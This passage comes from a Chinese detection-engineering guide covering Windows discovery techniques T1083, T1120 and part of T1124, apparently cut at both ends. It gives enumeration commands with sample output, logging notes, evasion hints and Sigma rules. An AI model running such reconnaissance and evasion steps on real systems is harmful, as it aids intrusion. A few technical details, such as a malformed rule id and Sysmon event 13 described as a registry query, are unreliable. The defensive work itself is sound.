检测通过systeminfo、PowerShell、WMIC或reg query执行Windows系统信息发现的行为 references: - https://attack.mitre.org/techniques/T1082/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md tags: - attack.discovery - attack.t1082 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\systeminfo.exe' - '\wmic.exe' - '\reg.exe' ProcessCommandLine|contains: - 'systeminfo' - 'os get' - 'reg query' - 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-ComputerInfo' - 'Get-CimInstance Win32_OperatingSystem' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\systeminfo.exe' - '\powershell.exe' - '\wmic.exe' - '\reg.exe' CommandLine|contains: - 'systeminfo' - 'Get-ComputerInfo' - 'os get' - 'reg query' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'sysinfo' - 'info' - 'version' selection_registry: EventID: 13 # Sysmon 注册表事件 TargetObject|contains: - '\SOFTWARE\Microsoft\Windows NT\CurrentVersion' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_registry timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - TargetObject level: medium falsepositives: - 管理员运行systeminfo或PowerShell进行系统诊断 - 合法IT管理工具触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `systeminfo.exe`、`powershell.exe`、`wmic.exe` 和 `reg.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `systeminfo`、`Get-ComputerInfo`、`os get` 或 `reg query` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-ComputerInfo` 或 `Get-CimInstance Win32_OperatingSystem` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `sysinfo`、`info` 或 `version` 的文件。 4. **注册表监控**: - 监控注册表查询(事件 ID 13),特别是 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion`。 5. **行为分析**: - 检测短时间内高频的系统信息查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 ## 建议 1. **防御措施**: - 限制普通用户对 `systeminfo.exe`、`wmic.exe` 和 `reg.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-ComputerInfo`)。 - 部署 EDR 工具,监控异常系统信息查询行为。 - 定期应用系统补丁,减少未修补漏洞的暴露。 2. **检测优化**: - 监控短时间内高频的系统信息查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `sysinfo.txt`、`version.txt`)。 - 监控注册表查询,特别是 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion`。 3. **降低误报**: - 排除管理员用于诊断的合法 `systeminfo` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与系统信息发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `wmic` 变种、Sysinternals 的 `systeminfo`),建议监控未知可执行文件的运行。 - 检测异常注册表查询或文件创建行为。 ## 参考推荐 - MITRE ATT&CK: T1082 - Atomic Red Team - T1082 测试用例 ================================================ FILE: Windows/09发现/T1083-win-文件和目录发现.md ================================================ # T1083-Win-文件和目录发现 ## 描述 攻击者通过文件和目录发现(T1083)枚举 Windows 系统上的文件系统和目录结构,以识别敏感文件(如配置文件、凭据、日志)、网络共享或特定文件类型(如 `.docx`、`.pdf`)。这些信息可用于规划后续攻击,例如寻找可用于提权的配置文件、窃取敏感数据或识别网络共享以进行横向移动。在 Windows 系统中,攻击者可能使用原生工具如 `dir`、`tree`、`where`、`fsutil` 或 PowerShell 命令(如 `Get-ChildItem`、`Get-Item`)来枚举文件和目录。攻击者还可能利用第三方工具或直接与 Windows API 交互以获取文件信息。本文档聚焦于 Windows 平台下文件和目录发现的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(大多数命令无需管理员权限) - 工具:CMD、PowerShell ### 测试案例 1:使用 `dir` **关联技术**:T1083(目录结构枚举) ```dos dir C:\Users /s ``` **输出示例**: ``` 驱动器 C 中的卷是 OS 卷的序列号是 1234-5678 C:\Users 的目录 2025/05/25 08:15 . 2025/05/25 08:15 .. 2024/10/15 10:20 Administrator 2024/10/15 10:20 Public 2024/10/15 10:20 user1 0 个文件 0 字节 C:\Users\user1\Documents 的目录 2025/05/25 08:10 1,234,567 sensitive.docx 2025/05/25 08:11 123,456 config.txt 2 个文件 1,358,023 字节 5 个目录 50,123,456,789 可用字节 ``` **说明**: - 递归列出 `C:\Users` 目录下的子目录和文件(`/s`)。 - 普通用户权限。 - 关联 T1083:枚举用户目录结构。 ### 测试案例 2:使用 `tree` **关联技术**:T1083(目录树枚举) ```dos tree C:\Users /f ``` **输出示例**: ``` 文件夹 PATH 列表 卷序列号为 1234-5678 C:\USERS ├───Administrator │ └───Documents │ admin_notes.txt ├───Public │ └───Documents │ public_file.pdf └───user1 └───Documents sensitive.docx config.txt ``` **说明**: - 显示 `C:\Users` 的目录树结构,包括文件(`/f`)。 - 普通用户权限。 - 关联 T1083:可视化目录层次。 ### 测试案例 3:使用 `where` **关联技术**:T1083(文件搜索) ```dos where /R C:\ *.txt ``` **输出示例**: ``` C:\Users\Administrator\Documents\admin_notes.txt C:\Users\Public\Logs\log.txt C:\Users\user1\Documents\config.txt C:\Temp\readme.txt ``` **说明**: - 递归搜索 `C:\` 下的所有 `.txt` 文件。 - 普通用户权限。 - 关联 T1083:定位特定文件类型。 ### 测试案例 4:使用 PowerShell `Get-ChildItem` **关联技术**:T1083(文件和目录枚举) ```powershell Get-ChildItem -Path C:\Users -Recurse -Include *.docx,*.txt ``` **输出示例**: ``` 目录: C:\Users\Administrator\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025/05/25 08:10 123456 admin_notes.txt 目录: C:\Users\user1\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025/05/25 08:10 1234567 sensitive.docx -a---- 2025/05/25 08:11 123456 config.txt ``` **说明**: - 递归枚举 `C:\Users` 下的 `.docx` 和 `.txt` 文件。 - 普通用户权限。 - 关联 T1083:搜索特定文件类型。 ### 测试案例 5:使用 `fsutil` **关联技术**:T1083(文件系统信息枚举) ```dos fsutil fsinfo drives ``` **输出示例**: ``` 驱动器: C:\ D:\ E:\ ``` **说明**: - 列出系统中的所有驱动器。 - 普通用户权限。 - 关联 T1083:了解文件系统布局。 **注意**: - 上述命令通常无需管理员权限。 - 输出结果可能因系统配置(如目录结构、文件权限)而异。 - 攻击者可能将输出重定向到文件(如 `dir > files.txt`)。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell ### 复现步骤 1. **使用 `dir`**: ```dos dir C:\Users /s > C:\Temp\users_dir.txt ``` **预期输出**: - 生成 `C:\Temp\users_dir.txt`,包含 `C:\Users` 目录内容。 - 安全日志事件 ID 4688 记录 `cmd.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 2. **使用 `tree`**: ```dos tree C:\Users /f > C:\Temp\users_tree.txt ``` **预期输出**: - 生成 `C:\Temp\users_tree.txt`,包含 `C:\Users` 目录树。 - 安全日志事件 ID 4688 记录 `tree.com` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 3. **使用 PowerShell**: ```powershell Get-ChildItem -Path C:\Users -Recurse -Include *.docx,*.txt | Out-File C:\Temp\docx_txt_files.txt ``` **预期输出**: - 生成 `C:\Temp\docx_txt_files.txt`,包含 `.docx` 和 `.txt` 文件列表。 - PowerShell 日志事件 ID 4104 记录 `Get-ChildItem` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认包含目录或文件信息。 - 验证日志: - 安全日志:事件 ID 4688(进程创建)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `cmd.exe`、`tree.com`、`powershell.exe` 或 `fsutil.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `dir`、`tree`、`Get-ChildItem`)。 - 事件 ID 11:文件创建,记录输出文件(如 `users_dir.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-ChildItem` 或 `Get-Item`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 部署 Sysmon,配置进程创建(事件 ID 1)和文件创建(事件 ID 11)监控。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 默认不记录 `dir` 命令的执行,需启用命令行审计。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`cmd.exe`、`tree.com`、`powershell.exe`、`fsutil.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `dir /s`、`tree /f`、`Get-ChildItem -Recurse`、`fsutil fsinfo`。 - **文件相关**: - 输出文件:如 `C:\Temp\users_dir.txt`(`dir > users_dir.txt`)、`C:\Temp\users_tree.txt`。 - **隐藏手段**: - 重命名 `tree.com`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del users_dir.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yaml title: Windows 文件和目录发现 id: 3f8b6d9m-0q1r-3s5u-i7v9-6n0q4r8t3w1x description: 检测通过 dir、tree、where、fsutil 或 PowerShell 执行 Windows 文件和目录发现的行为 references: - https://attack.mitre.org/techniques/T1083/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1083/T1083.md tags: - attack.discovery - attack.t1083 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\cmd.exe' - '\tree.com' - '\fsutil.exe' ProcessCommandLine|contains: - 'dir' - 'tree' - 'where' - 'fsinfo' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-ChildItem' - 'Get-Item' - 'dir' - 'ls' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\cmd.exe' - '\tree.com' - '\powershell.exe' - '\fsutil.exe' CommandLine|contains: - 'dir' - 'tree' - 'where' - 'Get-ChildItem' - 'fsinfo' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'dir' - 'tree' - 'files' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename level: medium falsepositives: - 管理员运行dir或PowerShell进行文件管理 - 合法IT管理工具触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `cmd.exe`、`tree.com`、`powershell.exe` 和 `fsutil.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `dir`、`tree`、`where`、`fsinfo` 或 `Get-ChildItem` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-ChildItem`、`Get-Item` 或 `dir` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `dir`、`tree` 或 `files` 的文件。 4. **行为分析**: - 检测短时间内高频的文件和目录查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 - 监控特定文件类型的递归搜索(如 `*.txt`、`*.docx`)。 ## 建议 1. **防御措施**: - 限制普通用户对 `tree.com` 和 `fsutil.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-ChildItem`)。 - 部署 EDR 工具,监控异常文件和目录枚举行为。 - 使用文件权限限制敏感目录(如 `C:\Users`、`%APPDATA%`)的访问。 2. **检测优化**: - 监控短时间内高频的文件和目录查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `users_dir.txt`、`docx_txt_files.txt`)。 - 监控特定文件类型的递归搜索(如 `*.txt`、`*.docx`)。 3. **降低误报**: - 排除管理员用于文件管理的合法 `dir` 或 PowerShell 操作。 - 配置白名单,过滤已知IT管理工具。 - 验证文件内容,确保与文件和目录发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `Everything`、`PowerView`)进行文件枚举,建议监控未知可执行文件的运行。 - 检测异常文件创建或高频目录查询行为。 ## 参考推荐 - MITRE ATT&CK: T1083 - Atomic Red Team - T1083 测试用例 ================================================ FILE: Windows/09发现/T1120-win-周边设备发现.md ================================================ # T1120-Win-周边设备发现 ## 描述 攻击者通过周边设备发现(T1120)收集 Windows 系统连接的外围设备和组件信息,包括键盘、鼠标、打印机、摄像头、可移动存储(如 USB 驱动器)、智能卡读卡器等。这些信息帮助攻击者了解系统和网络环境,识别可用于数据窃取的可移动存储、支持恶意输入的设备,或网络连接的打印机以进行横向移动。常用工具包括 `fsutil fsinfo`(查询驱动器类型)、PowerShell 命令(如 `Get-PnpDevice`、`Get-Disk`)、WMIC(`wmic path Win32_PnPEntity`)以及通过 Windows API(如 `SetupDiGetClassDevs`)直接查询设备。本文档聚焦于 Windows 平台下周边设备发现的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(大多数命令无需管理员权限) - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `fsutil fsinfo drivetype` **关联技术**:T1120(驱动器类型枚举) ```dos fsutil fsinfo drivetype C: ``` **输出示例**: ``` C: - 固定驱动器 ``` ```dos fsutil fsinfo drivetype D: ``` **输出示例**: ``` D: - 可移动驱动器 ``` **说明**: - 查询指定驱动器的类型(如固定、可移动、CD-ROM)。 - 普通用户权限。 - 关联 T1120:识别可移动存储设备。 ### 测试案例 2:使用 PowerShell `Get-PnpDevice` **关联技术**:T1120(设备枚举) ```powershell Get-PnpDevice -PresentOnly | Select-Object Name,Class,Status ``` **输出示例**: ``` Name Class Status ---- ----- ------ Fax PrintQueue OK 可编程中断控制器 System OK PS/2 标准键盘 Keyboard OK 通用总线 System OK 通用总线 System OK 通用总线 System OK 通用总线 System OK Microsoft ACPI 兼容的嵌入式控制器 System OK Microsoft ACPI 兼容的控制方法电池 Battery OK 根打印队列 PrintQueue OK USB Root Hub USB OK 卷管理器 System OK Parallels Tool Device System OK Parallels Location Provider Sensor OK WAN Miniport (PPPOE) Net OK 卷 Volume OK 直接内存访问控制器 System OK Intel(R) 82801BA Ultra ATA Storage Controller - 244B HDC OK Microsoft 基本显示驱动程序 System OK 符合 HID 标准的数字化器 HIDClass OK USB 根集线器(USB 3.0) USB OK PCI 到 PCI 桥 System OK 卷 Volume OK Microsoft RRAS Root Enumerator SoftwareDevice OK HID-compliant mouse Mouse OK WAN Miniport (PPTP) Net OK Parallels Display Adapter (WDDM) Display OK 通用即插即用监视器 Monitor OK ``` **说明**: - 枚举当前连接的设备,包括 USB 设备、打印机、音频设备等。 - 普通用户权限。 - 关联 T1120:全面收集外围设备信息。 ### 测试案例 3:使用 PowerShell `Get-Disk` **关联技术**:T1120(磁盘设备枚举) ```powershell Get-Disk ``` **输出示例**: ``` Number Friendly Name Serial Number HealthStatus OperationalStatus Total Size Partition Style ------ ------------- ------------- ------------ ----------------- ---------- ---------- 0 Parallels Virtual NVMe Disk 34F1_65DF_1F35_A342_9CAC_9769... Healthy Online 256 GB GPT ``` **说明**: - 列出系统中的磁盘设备,包括 USB 可移动磁盘。 - 普通用户权限。 - 关联 T1120:识别可移动存储。 ### 测试案例 4:使用 WMIC **关联技术**:T1120(设备信息枚举) ```dos wmic path Win32_PnPEntity get Name,DeviceID ``` **输出示例**: ``` DeviceID Name SWD\PRINTENUM\{A1109F77-633B-4BCB-B99B-F435F50910B4} Fax ACPI\PNP0000\4&1846B261&0 可编程中断控制器 ACPI\PNP0303\4&1846B261&0 PS/2 标准键盘 ACPI\PNP0A05\10 通用总线 ACPI\PNP0A05\20 通用总线 ACPI\PNP0A05\30 通用总线 ACPI\PNP0A05\40 通用总线 ACPI\PNP0C09\0 Microsoft ACPI 兼容的嵌入式控制器 ACPI\PNP0C0A\0 Microsoft ACPI 兼容的控制方法电池 SWD\PRINTENUM\PRINTQUEUES 根打印队列 USB\ROOT_HUB20\4&1387C2E6&0 USB Root Hub ROOT\VOLMGR\0000 卷管理器 ``` **说明**: - 枚举所有即插即用设备,包括 USB 设备、鼠标等。 - 普通用户权限。 - 关联 T1120:获取设备详细信息。 ### 测试案例 5:使用 `devmgmt.msc` **关联技术**:T1120(设备管理器枚举) ```dos devmgmt.msc ``` **输出示例**: - 打开设备管理器,显示设备列表,如: - 磁盘驱动器:Samsung SSD 850, SanDisk Ultra USB 3.0 - 人机接口设备:Logitech USB Mouse - 打印机:Microsoft Print to PDF **说明**: - 通过设备管理器查看连接的设备。 - 普通用户权限(查看功能)。 - 关联 T1120:手动检查外围设备。 **注意**: - 上述命令通常无需管理员权限。 - 输出结果可能因系统配置和连接设备而异。 - 攻击者可能将输出重定向到文件(如 `fsutil fsinfo drivetype C: > drives.txt`)。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell、WMIC ### 复现步骤 1. **使用 `fsutil fsinfo drivetype`**: ```dos fsutil fsinfo drivetype C: > C:\Temp\drivetype.txt ``` **预期输出**: - 生成 `C:\Temp\drivetype.txt`,包含 `C: - 固定驱动器`。 - 安全日志事件 ID 4688 记录 `fsutil.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 2. **使用 PowerShell `Get-PnpDevice`**: ```powershell Get-PnpDevice -PresentOnly | Select-Object Name,Class,Status | Out-File C:\Temp\devices.txt ``` **预期输出**: - 生成 `C:\Temp\devices.txt`,包含当前连接设备列表。 - PowerShell 日志事件 ID 4104 记录 `Get-PnpDevice` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 3. **使用 WMIC**: ```dos wmic path Win32_PnPEntity get Name,DeviceID > C:\Temp\pnp_devices.txt ``` **预期输出**: - 生成 `C:\Temp\pnp_devices.txt`,包含即插即用设备信息。 - 安全日志事件 ID 4688 记录 `wmic.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认包含设备或驱动器信息。 - 验证日志: - 安全日志:事件 ID 4688(进程创建)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `fsutil.exe`、`cmd.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `fsutil fsinfo`、`Get-PnpDevice`)。 - 事件 ID 11:文件创建,记录输出文件(如 `drives.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-PnpDevice` 或 `Get-Disk`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 部署 Sysmon,配置进程创建(事件 ID 1)和文件创建(事件 ID 11)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`fsutil.exe`、`cmd.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `fsutil fsinfo drivetype`、`Get-PnpDevice`、`wmic path Win32_PnPEntity`。 - **文件相关**: - 输出文件:如 `C:\Temp\drivetype.txt`(`fsutil fsinfo drivetype > drivetype.txt`)。 - **隐藏手段**: - 重命名 `fsutil.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del drivetype.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yaml title: Windows周边设备发现 description: 检测通过fsutil、PowerShell或WMIC执行Windows周边设备发现的行为 references: - https://attack.mitre.org/techniques/T1120/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1120/T1120.md tags: - attack.discovery - attack.t1120 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\fsutil.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'fsinfo drivetype' - 'Win32_PnPEntity' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-PnpDevice' - 'Get-Disk' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\fsutil.exe' - '\powershell.exe' - '\wmic.exe' CommandLine|contains: - 'fsinfo drivetype' - 'Get-PnpDevice' - 'Get-Disk' - 'Win32_PnPEntity' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'drivetype' - 'devices' - 'pnp' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename level: medium falsepositives: - 管理员运行fsutil或PowerShell进行设备诊断 - 合法IT管理工具触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `fsutil.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `fsinfo drivetype`、`Get-PnpDevice`、`Get-Disk` 或 `Win32_PnPEntity` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-PnpDevice` 或 `Get-Disk` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `drivetype`、`devices` 或 `pnp` 的文件。 4. **行为分析**: - 检测短时间内高频的设备查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 - 监控 Windows API 调用(如 `SetupDiGetClassDevs`)的异常使用。 ## 建议 1. **防御措施**: - 限制普通用户对 `fsutil.exe` 和 `wmic.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-PnpDevice`)。 - 部署 EDR 工具,监控异常设备枚举行为。 - 配置 USB 设备限制策略,防止未经授权的可移动存储使用。 2. **检测优化**: - 监控短时间内高频的设备查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `drivetype.txt`、`devices.txt`)。 - 监控 Windows API 调用(如 `SetupDiGetClassDevs`)的异常使用。 3. **降低误报**: - 排除管理员用于诊断的合法 `fsutil` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与周边设备发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 Sysinternals 的 `devcon`)或直接调用 Windows API,建议监控未知可执行文件的运行。 - 检测异常 WMI 查询(如 `Win32_PnPEntity`)或设备管理器调用。 ## 参考推荐 - MITRE ATT&CK: T1120 - Atomic Red Team - T1120 测试用例 - fsutil fsinfo 命令详解 ================================================ FILE: Windows/09发现/T1124-win-系统时间发现.md ================================================ # T1124-Win-系统时间发现 ## 描述 攻击者通过系统时间发现(T1124)收集 Windows 系统或远程主机的系统时间和时区信息,以了解目标环境的时间同步状态或推断地理位置。这些信息可用于协调攻击行为,例如设置定时计划任务(T1053)、规避基于时间的访问限制、同步恶意软件执行,或推断受害者所在时区以优化钓鱼攻击。攻击者可能通过 `net time` 查询域内或远程系统时间,使用 `w32tm /tz` 获取时区信息,或通过 PowerShell 命令(如 `Get-Date`、`Get-TimeZone`)、WMIC(`wmic os get localdatetime`)或 `systeminfo` 收集本地时间和时区。本文档聚焦于 Windows 平台下系统时间发现的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(大多数命令无需管理员权限) - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `net time` **关联技术**:T1124(远程系统时间收集) ```dos net time \\DC01 ``` **输出示例**: ``` \\DC01 的当前时间是 2025/05/26 02:46:00 命令成功完成。 ``` **说明**: - 查询远程主机(如域控制器)的当前时间。 - 普通用户权限,需网络访问权限。 - 关联 T1124:收集远程系统时间。 ### 测试案例 2:使用 `net time /domain` **关联技术**:T1124(域时间收集) ```dos net time /domain ``` **输出示例**: ``` 域 QAX.COM 的当前时间是 2025/05/26 02:46:00 域服务器: \\DC01 命令成功完成。 ``` **说明**: - 查询域内时间及域服务器名称。 - 普通用户权限,需域环境。 - 关联 T1124:收集域时间信息。 ### 测试案例 3:使用 `w32tm /tz` **关联技术**:T1124(时区收集) ```dos w32tm /tz ``` **输出示例**: ``` 时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias) [标准名称:"俄罗斯 TZ 7 标准时间" 偏量:0分 日期:(未指定)] [夏时制名称:"俄罗斯 TZ 7 夏令时" 偏量:-60分 日期:(未指定)] ``` **说明**: - 查询本地系统的时区设置。 - 普通用户权限。 - 关联 T1124:推断时区信息。 ### 测试案例 4:使用 PowerShell `Get-Date` **关联技术**:T1124(本地时间收集) ```powershell Get-Date ``` **输出示例**: ``` 2025年5月26日 02:46:00 ``` **说明**: - 获取本地系统的当前时间。 - 普通用户权限。 - 关联 T1124:收集本地时间。 ### 测试案例 5:使用 PowerShell `Get-TimeZone` **关联技术**:T1124(时区收集) ```powershell Get-TimeZone ``` **输出示例**: ``` Id : North Asia East Standard Time DisplayName : (UTC+08:00) 伊尔库茨克 StandardName : 俄罗斯 TZ 7 标准时间 DaylightName : 俄罗斯 TZ 7 夏令时 BaseUtcOffset : 08:00:00 SupportsDaylightSavingTime : True ``` **说明**: - 获取本地系统的时区详细信息。 - 普通用户权限。 - 关联 T1124:推断时区信息。 ### 测试案例 6:使用 WMIC **关联技术**:T1124(本地时间收集) ```dos wmic os get localdatetime ``` **输出示例**: ``` LocalDateTime 20250526175248.649000+480 ``` **说明**: - 获取本地系统的当前时间(格式为 YYYYMMDDHHMMSS)。 - 普通用户权限。 - 关联 T1124:收集本地时间。 ### 测试案例 7:使用 `systeminfo` **关联技术**:T1124(时间和时区收集) ```dos systeminfo | findstr /C:"系统启动时间" /C:"时区" ``` **输出示例**: ``` 系统启动时间: 2025/05/25, 08:00:00 时区: (UTC+08:00) 北京, 重庆, 香港, 乌鲁木齐 ``` **说明**: - 获取系统启动时间和时区信息。 - 普通用户权限。 - 关联 T1124:收集时间和时区。 **注意**: - 上述命令通常无需管理员权限。 - 输出结果可能因系统配置(如时区、域环境)而异。 - 攻击者可能将输出重定向到文件(如 `net time > time.txt`)。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell、WMIC ### 复现步骤 1. **使用 `net time`**: ```dos net time \\DC01 > C:\Temp\remote_time.txt ``` **预期输出**: - 生成 `C:\Temp\remote_time.txt`,包含 `\\DC01 的当前时间是 2025/05/26 02:46:00`。 - 安全日志事件 ID 4688 记录 `net.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 2. **使用 `w32tm /tz`**: ```dos w32tm /tz > C:\Temp\timezone.txt ``` **预期输出**: - 生成 `C:\Temp\timezone.txt`,包含时区信息。 - 安全日志事件 ID 4688 记录 `w32tm.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 3. **使用 PowerShell `Get-TimeZone`**: ```powershell Get-TimeZone | Out-File C:\Temp\ps_timezone.txt ``` **预期输出**: - 生成 `C:\Temp\ps_timezone.txt`,包含时区详细信息。 - PowerShell 日志事件 ID 4104 记录 `Get-TimeZone` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认包含时间或时区信息。 - 验证日志: - 安全日志:事件 ID 4688(进程创建)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `net.exe`、`w32tm.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `net time`、`w32tm /tz`、`Get-Date`)。 - 事件 ID 11:文件创建,记录输出文件(如 `time.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-Date` 或 `Get-TimeZone`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 部署 Sysmon,配置进程创建(事件 ID 1)和文件创建(事件 ID 11)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`net.exe`、`w32tm.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `net time`、`w32tm 